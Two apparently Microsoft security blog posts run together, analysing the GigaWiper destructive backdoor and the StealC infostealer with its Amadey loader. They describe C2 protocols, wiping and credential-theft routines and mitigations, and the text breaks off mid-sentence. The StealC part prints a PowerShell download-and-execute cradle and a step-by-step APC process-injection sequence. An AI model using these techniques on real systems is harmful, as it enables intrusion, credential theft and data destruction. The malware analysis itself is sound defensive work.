Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities. GigaWiper is tracked by Google Threat Intelligence Group (GTIG) and Binary Defense as BLUERABBIT.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

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The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

